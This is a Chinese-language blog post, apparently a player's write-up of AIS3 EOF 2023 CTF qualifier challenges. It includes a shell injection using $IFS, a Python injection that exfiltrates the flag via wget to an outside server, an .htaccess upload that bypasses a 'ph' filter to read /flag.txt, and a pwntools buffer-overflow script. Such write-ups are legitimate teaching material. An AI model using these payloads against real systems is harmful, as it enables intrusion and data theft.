Cavern.sigma
Welcome to Cavern.sigma
[TOC] ## 成績 ![Score](https://img.stoneapp.tech/t510599/eof-2023/quals/score.png) 看[完整 Profile](https://img.stoneapp.tech/t510599/eof-2023/quals/profile.png) 很長的[ScoreBoard](https://img.stoneapp.tech/t510599/eof-2023/quals/scoreboard.png) 跟去年的隊友打了今年的 EOF Quals 簡單紀錄一下我解的題目 聽說今年 Final 會是 A&D + KoH 萌新瑟瑟發抖 ## Misc ### Washer 可以寫入檔案的字元範圍為 `'$' ~ '}'` 透過 `$IFS` 取代空白 透過 Magic 並指定檔名為 `/tmp/<random id>` 以執行指令 檔案內容: `cat$IFS/flag` ### Veronese 字元辨識是用以下方式進行: ![](https://i.imgur.com/yWIf78d.png) 因此如果 pixel 未完全吻合 便無法辨識該字元 透過超過一行高度的字元 ex. 畫表格用的 `│` 蓋掉 docstring 的 `'` 可以讓上方跟下方的字元變得無法辨識以通過以下測試: ![](https://i.imgur.com/fWT6EH3.png) 輸入: ```python= ''' ''' __import__("os").system("wget <server>/?f=$(cat flag)") #│││ ''' ''' ``` 產生圖片: ![](https://i.imgur.com/z0mU8mm.png) 辨識內容: ```python= ''' __import__("os").system("wget <server>/?f=$(cat flag)") # ''' ``` ## Web ### Gist ![](https://i.imgur.com/CRM3Ke9.png) 可以上傳任意檔案 只要檔名與內容皆不含 `ph` 預設的 php docker 裡 `docker-php.conf` 中有開啟 `AllowOverride` 因此我們可以利用 `.htaccess` ```apache <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> DirectoryIndex disabled DirectoryIndex index.php index.html <Directory /var/www/> Options -Indexes AllowOverride All </Directory> ``` 透過 `.htaccess` 讓其將被視作 php 檔案處理 並透過 `Allow` 讓其可以被外部存取 ```apache <Files ~ "^.ht"> Require all granted Order allow,deny Allow from all SetHandler application/x-httpd-p\ hp </Files> #<?= require('/flag.txt') ?> ``` 透過 `\` 換行可以 bypass waf php 程式需放在註解放入 否則 apache 會跳 500 #### 另解 放個 ItisCaleb 大大的另解在這 [原文](https://itiscaleb.com/2023/01/AIS3-EOF-Qual-2023/#Gist) ```apache ErrorDocument 404 %{file:/flag.txt} ``` 一開始試著找了很多從 ErrorDocument 讀檔的方法 但查到的都是叫我用 Rewrite engine 去做 QQ ## Revenge ### Water ![](https://i.imgur.com/iTUV8lX.png) 讀取欲寫入檔案的內容是透過 scanf 來讀 透過 buffer overflow 將 filename 蓋成 `/flag` 即可透過 Read Content 讀到 flag ```python from pwn import * host, port = "edu-ctf.zoolab.org", 10019 r = remote(host, port) def menu(): r.recvuntil(b"=== Menu ===\n") r.recvlines(4) padding = 116 menu() r.sendline(b"1") r.recvline("") r.sendline(b"A" * padding + b"/" * (11 - 4) + b"flag") menu() r.sendline(b"2") r.recvline() print(r.recvline().decode()) menu() r.sendline(b"4") ``` 題外話 這題不知道為啥解題數超少 作者: 明明名字長的一臉就很水 怎麼沒人解 XDD
2023-01-25 00:30:04
留言
Last fetch: --:-- 
現在還沒有留言!